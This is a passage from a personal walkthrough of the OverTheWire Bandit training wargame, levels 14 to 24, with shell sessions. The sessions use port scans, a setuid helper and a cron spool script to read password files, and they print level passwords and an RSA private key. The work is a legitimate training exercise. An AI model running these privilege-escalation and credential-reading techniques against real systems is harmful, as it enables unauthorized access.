-r-------- 1 bandit27 bandit27 33 Oct 16 2018 bandit27
-r-------- 1 bandit28 bandit28 33 Oct 16 2018 bandit28
-r-------- 1 bandit29 bandit29 33 Oct 16 2018 bandit29
-r-------- 1 bandit3 bandit3 33 Oct 16 2018 bandit3
-r-------- 1 bandit30 bandit30 33 Oct 16 2018 bandit30
-r-------- 1 bandit31 bandit31 33 Oct 16 2018 bandit31
-r-------- 1 bandit32 bandit32 33 Oct 16 2018 bandit32
-r-------- 1 bandit33 bandit33 33 Oct 16 2018 bandit33
-r-------- 1 bandit4 bandit4 33 Oct 16 2018 bandit4
-r-------- 1 bandit5 bandit5 33 Oct 16 2018 bandit5
-r-------- 1 bandit6 bandit6 33 Oct 16 2018 bandit6
-r-------- 1 bandit7 bandit7 33 Oct 16 2018 bandit7
-r-------- 1 bandit8 bandit8 33 Oct 16 2018 bandit8
-r-------- 1 bandit9 bandit9 33 Oct 16 2018 bandit9
bandit14@bandit:~$ file /etc/bandit_pass/bandit14
/etc/bandit_pass/bandit14: ASCII text
bandit14@bandit:~$ cat /etc/bandit_pass/bandit14
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Bandit Level 14 –> Level 15
Level Goal
The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost.
Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap
bandit14@bandit:~$ pwd
/home/bandit14
bandit14@bandit:~$ ls -las
total 24
4 drwxr-xr-x 3 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .ssh
bandit14@bandit:~$ echo 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e | nc 127.0.0.1 30000
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr
Bandit Level 15 –> Level 16
Level Goal
The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption.
Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to �R� and �Q�, the �B� command also works in this version of that command�
Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap
Helpful Reading Material
https://en.wikipedia.org/wiki/Secure_Socket_Layerhttps://www.feistyduck.com/library/openssl-cookbook/online/ch-testing-with-openssl.html
Walkthrough
bandit15@bandit:~$ openssl s_client -connect 127.0.0.1:30001
CONNECTED(00000003)
depth=0 CN = localhost
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = localhost
verify return:1
---
Certificate chain
0 s:/CN=localhost
i:/CN=localhost
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICBjCCAW+gAwIBAgIEYo1NxTANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjAwMTA1MTQzNTU4WhcNMjEwMTA0MTQzNTU4WjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKF4u2eu
a8VipZPviX0hfNiCnaD2ojAffdBhKTy1bmZSNRuHPBDnU7z8rblNSknSjCITda1C
GEAI8ZktRbtLpBTbYeTgqPN/EiN5UIRMKbU6P2O93zNFPBsmyfQLrgt+DSLnsxlB
i/yYyT7WLdtNVBpgwRwkqi9K7dk9vf9waswLAgMBAAGjZTBjMBQGA1UdEQQNMAuC
CWxvY2FsaG9zdDBLBglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0
ZWQgYnkgTmNhdC4gU2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3
DQEBBQUAA4GBAJECW6IB3Ria4xG002BqD3zEbtmrDlK6nmJq+uQ4eJ6cT18o9REb
npy/lFzlv2LfcrYAnuAp6Fh89MKaYjNzJURjRQ9RkmcYgQJa1n+OBkATb7V+84/a
k9PDRkscxdNFMGBSvzFD33XZ5lbaGdrwCPyoxenoYghV/753wffN7J6H
-----END CERTIFICATE-----
subject=/CN=localhost
issuer=/CN=localhost
---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1019 bytes and written 269 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: 7105CE9B413C5CCC0A2A97C9D7D0C862E60DAC266DF04DAE1EB6496CB41FE500
Session-ID-ctx:
Master-Key: 4560522870CB819DDF824D4D8C71DFCF3E3444715878BB541579E1581FBB65CB1485A9409A02E22740A66F5E5F3ABD22
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 56 e9 4e 87 6a 28 48 d0-13 42 5f b9 61 b0 dd d0 V.N.j(H..B_.a...
0010 - 0c 43 e2 e2 bc 86 d4 5b-07 06 93 13 c7 13 74 eb .C.....[......t.
0020 - fe db 46 d8 e2 a9 75 4a-81 f2 77 5d ee 70 cc 6f ..F...uJ..w].p.o
0030 - b6 8c c0 27 e2 48 55 c4-2a f1 34 3a 84 dc 16 82 ...'.HU.*.4:....
0040 - 60 9c 6c b7 be 7c ed e9-1e e4 d9 a8 6f cc 1b 44 `.l..|......o..D
0050 - 3a a5 e6 f1 5a ba 7d 1c-9a 38 47 cb 65 57 bc 04 :...Z.}..8G.eW..
0060 - 26 08 70 0d 7c f6 69 4c-59 c8 d1 85 16 ab cc 92 &.p.|.iLY.......
0070 - d5 68 2a c9 06 51 5a 88-68 1b 4b 1a 2e 9b 74 35 .h*..QZ.h.K...t5
0080 - e3 e9 04 e9 1d ee f0 45-f9 10 25 d3 08 4d 73 2b .......E..%..Ms+
0090 - 88 43 0b 67 68 8f b1 a4-75 63 b0 58 ec 2f e6 77 .C.gh...uc.X./.w
Start Time: 1584871648
Timeout : 7200 (sec)
Verify return code: 18 (self signed certificate)
Extended master secret: yes
---
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd
closed
Bandit Level 16 –> Level 17
Level Goal
The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don�t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.
Commands you may need to solve this level
ssh, telnet, nc, openssl, s_client, nmap
Helpful Reading Material
https://en.wikipedia.org/wiki/Port_scanner
Walkthrough
bandit16@bandit:~$ which nmap
/usr/bin/nmap
bandit16@bandit:~$ nmap -n -v -p 31000-32000 127.0.0.1
Starting Nmap 7.40 ( https://nmap.org ) at 2020-03-22 11:11 CET
Initiating Ping Scan at 11:11
Scanning 127.0.0.1 [2 ports]
Completed Ping Scan at 11:11, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 11:11
Scanning 127.0.0.1 [1001 ports]
Discovered open port 31790/tcp on 127.0.0.1
Completed Connect Scan at 11:11, 1.21s elapsed (1001 total ports)
Nmap scan report for 127.0.0.1
Host is up (0.00022s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
31518/tcp filtered unknown
31790/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
bandit16@bandit:~$ echo cluFn7wTiGryunymYOu4RcffSxQluehd | nc 127.0.0.1 31518
^C
bandit16@bandit:~$ echo cluFn7wTiGryunymYOu4RcffSxQluehd | nc 127.0.0.1 31790
bandit16@bandit:~$ openssl s_client -connect 127.0.0.1:31790
CONNECTED(00000003)
depth=0 CN = localhost
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = localhost
verify return:1
---
Certificate chain
0 s:/CN=localhost
i:/CN=localhost
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICBjCCAW+gAwIBAgIEcmwVYzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDDAls
b2NhbGhvc3QwHhcNMjAwMzEyMjEwNjEwWhcNMjEwMzEyMjEwNjEwWjAUMRIwEAYD
VQQDDAlsb2NhbGhvc3QwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBALFdFndG
5HH7n1xnkEqopNToRtkQ3NOch1Hp8fOpmMQ5UgIZ0JxG0HfajmyWo+VBypWwV41O
ZpJj+MImEE3bNzyeGRhYX+2UJPx95sAqqq2/Q9kWq1MWEZORk3xp8M5mOMF+Dwo/
wmxDYV4VCRteA4RbMzIHkgwuCelXcRHfU7AHAgMBAAGjZTBjMBQGA1UdEQQNMAuC
CWxvY2FsaG9zdDBLBglghkgBhvhCAQ0EPhY8QXV0b21hdGljYWxseSBnZW5lcmF0
ZWQgYnkgTmNhdC4gU2VlIGh0dHBzOi8vbm1hcC5vcmcvbmNhdC8uMA0GCSqGSIb3
DQEBBQUAA4GBAGeti3DzNJdh9WscUItDF0cAg6O7mmKHhj7WVRJtb/LYd93Ke9av
5733KbJE5CNyG5dSWJGN4xOmsD+Kqn1URzoXPbac+mqjmDzF2YNhdykg/5JdBZO3
cEeHS7jLRtdEYvIf5UXU5xOG6222dw2wQuxZm7zU9r3MHHCR9RNcYcXe
-----END CERTIFICATE-----
subject=/CN=localhost
issuer=/CN=localhost
---
No client certificate CA names sent
Peer signing digest: SHA512
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1019 bytes and written 269 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: 8CB0DBFD5D3A606ED6992E6D5F2166C1D171AFD10E852CC91575AA7C4BA4E829
Session-ID-ctx:
Master-Key: FB03E92B7BA72128D1D7FAAEF7F3E68DED17490A8D55C92EA78A0CAF54BA2083131E D6F53C1044F46EE7FA1B244FE3A3
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 10 ef fb 6a be df 31 ba-c3 2a 34 55 b6 de c8 ae ...j..1..*4U....
0010 - 74 95 37 97 3c 0d db ca-07 b6 2c 0d c0 38 d8 b3 t.7.<.....,..8..
0020 - 4c 8b 33 b8 ae 81 7e b4-e8 91 cd 3f f4 41 07 31 L.3...~....?.A.1
0030 - 12 fc 82 32 c8 da b5 6b-e7 4b 71 30 8f c1 c7 cb ...2...k.Kq0....
0040 - 38 01 07 77 8f df aa db-5f 5a d8 34 91 9b 3e 52 8..w...._Z.4..>R
0050 - 40 2b 35 d1 4c d9 35 83-f6 81 8a be b6 c2 b2 3d @+5.L.5........=
0060 - f4 c3 60 3c 82 e1 fa 54-7e 72 cb 6b 02 37 45 7f ..`<...T~r.k.7E.
0070 - 97 c5 b0 fa 0c fe 4c 3c-9d 28 f9 b4 49 ce be e6 ......L<.(..I...
0080 - 1b 11 2c 1b c5 ae b6 87-1b be 01 ab 71 1f c5 4a ..,.........q..J
0090 - 85 0a b3 25 f9 d4 82 66-bc 85 20 fe 8a 7d 0e 93 ...%...f.. ..}..
Start Time: 1584871991
Timeout : 7200 (sec)
Verify return code: 18 (self signed certificate)
Extended master secret: yes
---
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----
closed
Bandit Level 17 –> Level 18
Level Goal
There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new
NOTE: if you have solved this level and see �Byebye!� when trying to log into bandit18, this is related to the next level, bandit19
Commands you may need to solve this level
cat, grep, ls, diff
Walkthrough
- Used puttygen to convert the PEM ssh key to ppk
- Used the private key to SSH onto the server
bandit17@bandit:~$ pwd
/home/bandit17
bandit17@bandit:~$ ls -las
total 36
4 drwxr-xr-x 3 root root 4096 Oct 20 16:45 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r----- 1 bandit17 bandit17 33 Oct 20 16:45 .bandit16.password
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r----- 1 bandit18 bandit17 3300 Oct 16 2018 passwords.new
4 -rw-r----- 1 bandit18 bandit17 3300 Oct 16 2018 passwords.old
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 drwxr-xr-x 2 root root 4096 Oct 20 16:45 .ssh
bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< hlbSBPAWJmL6WFDb06gpTx1pPButblOA
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
Bandit Level 18 –> Level 19
Level Goal
The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.
Commands you may need to solve this level
ssh, ls, cat
Walkthrough
- Unable to SSH directly using the password from Level 17 solve
ssh [email protected] -p 2220
The authenticity of host '[bandit.labs.overthewire.org]:2220 ([176.9.9.172]:2220)' can't be established.
ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[bandit.labs.overthewire.org]:2220,[176.9.9.172]:2220' (ECDSA) to the list of known hosts.
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
[email protected]'s password:
Linux bandit 4.18.12 x86_64 GNU/Linux
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to Steven or morla on
irc.overthewire.org.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ and /proc/ is disabled
so that users can not snoop on eachother. Files and directories with
easily guessable or short names will be periodically deleted!
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
Linux bandit 4.18.12 x86_64 GNU/Linux
,----.. ,----, .---.
/ / \ ,/ .`| /. ./|
/ . : ,` .' : .--'. ' ;
. / ;. \ ; ; / /__./ \ : |
. ; / ` ; .'___,/ ,' .--'. ' \' .
; | ; \ ; | | : | /___/ \ | ' '
| : | ; | ' ; |.'; ; ; \ \; :
. | ' ' ' : `----' | | \ ; ` |
' ; \; / | ' : ; . \ .\ ;
\ \ ', / | | ' \ \ ' \ |
; : / ' : | : ' |--"
\ \ .' ; |.' \ \ ;
www. `---` ver '---' he '---" ire.org
Welcome to OverTheWire!
If you find any problems, please report them to Steven or morla on
irc.overthewire.org.
--[ Playing the games ]--
This machine might hold several wargames.
If you are playing "somegame", then:
* USERNAMES are somegame0, somegame1, ...
* Most LEVELS are stored in /somegame/.
* PASSWORDS for each level are stored in /etc/somegame_pass/.
Write-access to homedirectories is disabled. It is advised to create a
working directory with a hard-to-guess name in /tmp/. You can use the
command "mktemp -d" in order to generate a random and hard to guess
directory in /tmp/. Read-access to both /tmp/ and /proc/ is disabled
so that users can not snoop on eachother. Files and directories with
easily guessable or short names will be periodically deleted!
Please play nice:
* don't leave orphan processes running
* don't leave exploit-files laying around
* don't annoy other players
* don't post passwords or spoilers
* again, DONT POST SPOILERS!
This includes writeups of your solution on your blog or website!
--[ Tips ]--
This machine has a 64bit processor and many security-features enabled
by default, although ASLR has been switched off. The following
compiler flags might be interesting:
-m32 compile for 32bit
-fno-stack-protector disable ProPolice
-Wl,-z,norelro disable relro
In addition, the execstack tool can be used to flag the stack as
executable on ELF binaries.
Finally, network-access is limited for most levels by a local
firewall.
--[ Tools ]--
For your convenience we have installed a few usefull tools which you can find
in the following locations:
* pwndbg (https://github.com/pwndbg/pwndbg) in /usr/local/pwndbg/
* peda (https://github.com/longld/peda.git) in /usr/local/peda/
* gdbinit (https://github.com/gdbinit/Gdbinit) in /usr/local/gdbinit/
* pwntools (https://github.com/Gallopsled/pwntools)
* radare2 (http://www.radare.org/)
* checksec.sh (http://www.trapkit.de/tools/checksec.html) in /usr/local/bin/checksec.sh
--[ More information ]--
For more information regarding individual wargames, visit
http://www.overthewire.org/wargames/
For support, questions or comments, contact us through IRC on
irc.overthewire.org #wargames.
Enjoy your stay!
Byebye !
Connection to bandit.labs.overthewire.org closed.
- Note in Level 17 mentions ‘Byebye’, and the hint for Level 18 confirms that .bashrc is modified
- So performed a manual Internet search for a way to run ssh without running the .bashrc
- Found:
https://unix.stackexchange.com/questions/98698/ssh-parameter-to-ignore-bashrc-script - Ran the
ssh [email protected] -p 2220 "bash --noprofile --norc"
ssh [email protected] -p 2220 "bash --noprofile --norc"
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
[email protected]'s password:
id
uid=11018(bandit18) gid=11018(bandit18) groups=11018(bandit18)
pwd
/home/bandit18
ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r----- 1 bandit19 bandit18 3549 Oct 16 2018 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
4 -rw-r----- 1 bandit19 bandit18 33 Oct 16 2018 readme
cat readme
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
Bandit Level 19 –> Level 20
Level Goal
To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.
Helpful Reading Material
https://en.wikipedia.org/wiki/Setuid
Walkthrough
bandit19@bandit:~$ ls -las
total 28
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
8 -rwsr-x--- 1 bandit20 bandit19 7296 Oct 16 2018 bandit20-do
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit19@bandit:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
bandit19@bandit:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Bandit Level 20 –> Level 21
Level Goal
There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).
NOTE: Try connecting to your own network daemon to see if it works as you think
Commands you may need to solve this level
ssh, nc, cat, bash, screen, tmux, Unix �job control� (bg, fg, jobs, &, CTRL-Z, …)
Walkthrough
- Reviewed the program
bandit20@bandit:~$ pwd
/home/bandit20
bandit20@bandit:~$ ls -las
total 32
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
12 -rwsr-x--- 1 bandit21 bandit20 12088 Oct 16 2018 suconnect
bandit20@bandit:~$ ./suconnect
Usage: ./suconnect <portnumber>
This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.
bandit20@bandit:~$ file suconnect
suconnect: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=74c0f6dc184e0412b6dc52e542782f43807268e1, not stripped
bandit20@bandit:~$ echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | nc -l -p 65535 &
[1] 18964
bandit20@bandit:~$ ./suconnect 65535
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
[1]+ Done echo GbKksEFF4yrVs6il55v6gwY5aVje5f0j | nc -l -p 65535
Bandit Level 21 –> Level 22
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Walkthrough
bandit21@bandit:~$ pwd
/home/bandit21
bandit21@bandit:~$ ls -las
total 24
4 drwxr-xr-x 2 root root 4096 Oct 16 2018 .
4 drwxr-xr-x 41 root root 4096 Oct 16 2018 ..
4 -rw-r--r-- 1 root root 220 May 15 2017 .bash_logout
4 -rw-r--r-- 1 root root 3526 May 15 2017 .bashrc
4 -r-------- 1 bandit21 bandit21 33 Oct 16 2018 .prevpass
4 -rw-r--r-- 1 root root 675 May 15 2017 .profile
bandit21@bandit:~$ ls -l /etc/cron.d/
total 16
-rw-r--r-- 1 root root 189 Jan 25 2017 atop
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16 2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16 2018 cronjob_bandit24
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
Bandit Level 22 –> Level 23
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Walkthrough
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash
myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
Bandit Level 23 –> Level 24
Level Goal
A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.
NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!
NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…
Commands you may need to solve this level
cron, crontab, crontab(5) (use “man 5 crontab” to access this)
Walkthrough
- The biggest issue with this challenge was not the script but setting the correct permission on the target file to ensure that the cronjob could write to it, hence the touch to create the file initially and then the chmod to 666 to enable read and write permissions globally.
bandit23@bandit:~$ mkdir -p /tmp/otwb23
bandit23@bandit:~$ cd /tmp/otwb23
bandit23@bandit:/tmp/otwb23$ vi /tmp/otwb23/b23.sh
bandit23@bandit:/tmp/otwb23$ cat /tmp/otwb23/b23.sh
#!/bin/bash
src=/etc/bandit_pass/bandit24
dst=/tmp/otwb23/b24pass
cat $src > $dst
bandit23@bandit:/tmp/otwb23$ touch /tmp/otwb23/b24pass
bandit23@bandit:/tmp/otwb23$ chmod 666 /tmp/otwb23/b24pass
bandit23@bandit:/tmp/otwb23$ cp /tmp/otwb23/b23.sh /var/spool/bandit24/b23.sh
bandit23@bandit:/tmp/otwb23$ cat /tmp/otwb23/b24pass
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
Bandit Level 24 –> Level 25
Level Goal
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
Walkthrough
